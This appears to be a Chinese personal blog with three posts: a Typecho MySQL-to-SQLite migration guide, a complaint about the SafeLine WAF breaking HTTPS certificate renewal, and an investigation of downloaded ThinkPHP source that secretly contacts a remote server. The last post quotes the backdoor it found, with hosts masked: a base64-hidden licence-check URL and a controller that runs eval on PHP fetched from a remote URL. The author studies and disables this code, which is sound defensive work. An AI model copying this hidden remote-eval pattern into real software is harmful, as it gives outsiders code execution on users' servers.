2025年3月

你没猜错，我就是吃饱了撑的，折腾一下，练下手艺。
大道理当然也会讲嘛，mysql资源占用太大，博客这种东西，不用浪费资源，sqlite足也。（当然，我不会告诉你的是，我rs1000 8g的内存空余7g多，cpu占用是0.00)。
首先，需要导出当前mysql的sql文件，mysqldump人人都会，不用说了。但如果你问gpt的话，它会让你加上一些兼容的参数，一加，反而不行，中文乱码了，所以，用默认的参数导出即可。
然后下载sql语句转换工具，因为sqlite与mysql在sql层级有小小区别。 https://raw.githubusercontent.com/dumblob/mysql2sqlite/master/mysql2sqlite
转换sql文件为sqlite格式，再用sqlite3导入上述的sql文件即可。
将sqlite数据库文件放入php可以访问到的非web的目录（你总不希望别人直接下载你的数据库吧），重要的事情来了，一定要确保这个目录php进程有写权限。sqlite文件自然需要有写权限，但该目录也一定要有写权限，因为在同级目录sqlite会建临时的wal和shm文件。
最后，修改typecho的config.inc.php,将mysql改成sqlite:

$db = new Typecho_Db('Pdo_SQLite', 'typecho_');
$db->addServer(array (
  'file' => 'sqlite文件绝对路径',
), \Typecho\Db::READ | \Typecho\Db::WRITE);

如果php没有安装pdo_sqlite模块的话，也需要装一下。
在配置文件中加上define("__TYPECHO_DEBUG__",true); 可以看到详细的出错信息，如果你不幸出错了的话。

我已经说过几次这玩意烂了，结果没想到它比我想象中还烂。
为了良好的seo效果，重要的事我必须说三次，长亭雷池垃圾,长亭雷池垃圾,长亭雷池垃圾，千万别用。
以前提到这玩意恶心之一，很普通的功能社区版（免费）都是不能用的。
恶心之二，自我放大攻击。比如人家攻击者发一个100字节的请求包，他会回10K字节去告诉攻击者，你不允许访问。。。这iq绝对负数。
说回这次的事。
我爸生前一直在做一个网站，他走后，这网站的维护自然我接手了。这是个专业性比较强，资料性也比较强的网站，就挂在那里别人来看来查资料就好了，不需要更新也不需要什么维护，我自己也不大上去看。
里面有个留言本，时不时有垃圾客来发垃圾留言，发几条就算了，但一发就是几千条什么的，受不了，所以我决定加人机。简单的办法就是装个waf。
我其实比较喜欢用宝塔家的，没有什么明显的短板，不过他家的问题是不能和nginx并存，所以，部署至少要两台机器，为爱发电的公益网站实在没必要，想想还是用这雷池凑合吧。
结果，今天上网站一看,https证书过期一周了！但问题是，它不是号称自动续期吗？
赶紧手动续期，续不了，总是跳出错信息。倒腾半天后来发现了，它真够傻的，因为ssl续期，需要http挑战，而我的服务器是设置的http重定向到https。。。 它居然这个都没处理好，把http挑战当普通访问重定向到https了，let's不处理302，所以，挂了。
太不专业的垃圾了，马上要清明了，我烧香心里都有疙瘩了。

waf1.jpg

前些天弄了套thinkphp源码来玩，结果，今天发现极其卡顿，明显不正常。直觉就是远程访问了个啥东西，因为这卡顿时间还不固定，时快时慢，但昨天前又都是正常的。
花了几个小时，终于找到了问题。记录下排查核心点。

strace -fp $(pgrep -d, php-fpm) -e trace=network,open,read,write,connect 排查一下php偷偷在后面访问了些啥

找到了:

[pid  6412] getpeername(7, {sa_family=AF_INET, sin_port=htons(83), sin_addr=inet_addr("x.x.x.x")}, [128 => 16]) = 0
[pid  6412] getsockname(7, {sa_family=AF_INET, sin_port=htons(36752), sin_addr=inet_addr("x.x.x.x")}, [128 => 16]) = 0
[pid  6412] sendto(7, "POST /xxxx/getAuth HT"..., 186, MSG_NOSIGNAL, NULL, 0) = 186
[pid  6412] sendto(7, "--------------------------fab30f"..., 993, MSG_NOSIGNAL, NULL, 0) = 993

php在后台post了个 http://x.x.x.x:83/...../getAuth，显然，这就是问题了。
这台机器应该是今天不稳定，所以，getAuth很久才响应，引起了系统卡顿。
知道getAuth了就容易了，grep -r 一下，所有的getAuth都找到，然后log一下，瞬间就找到了执行它的代码:

        public function __construct($uniacid, $goodsName, $is_debug = false)
        {
                $this->is_debug = $is_debug;
                $this->token_path = dirname(__FILE__) . "/token.key";
                $this->uniacid = $uniacid . "";
                $this->goods_name = $goodsName;
            $this->base_url = base64_decode('xxxxxxxxxxxxxxxxxxxxxxxx');
、        $this->check_url = $this->base_url .'auth/xxxxxxx/index';
        $this->uploadWxapp_url = $this->base_url .'auth/xxxxxxxx/uploadWxapp';
        $this->getUpRecord_url = $this->base_url .'auth/xxxxxx/getUpRecord';
        $this->get_auth_url = $this->base_url .'auth/xxxxxx/getAuth' ;

再清楚不过了，它把base_url用base64加了下密，难怪grep不到那个ip地址。
把base_url改成 http://127.0.0.1，搞定，完事。

然后，用这个ip的base64值，又找到了很多好玩的东西:

<?php
namespace app\agent\controller;

use think\App;

class HouseController
{
   public function list ()
    {
    eval(file_get_contents(base64_decode('xxxxxxxxxx')));exit;
    }

}

上面base64解码出来是: http://xxxxxxx/excesqls.php
尼玛。。

  1. 1
  2. 2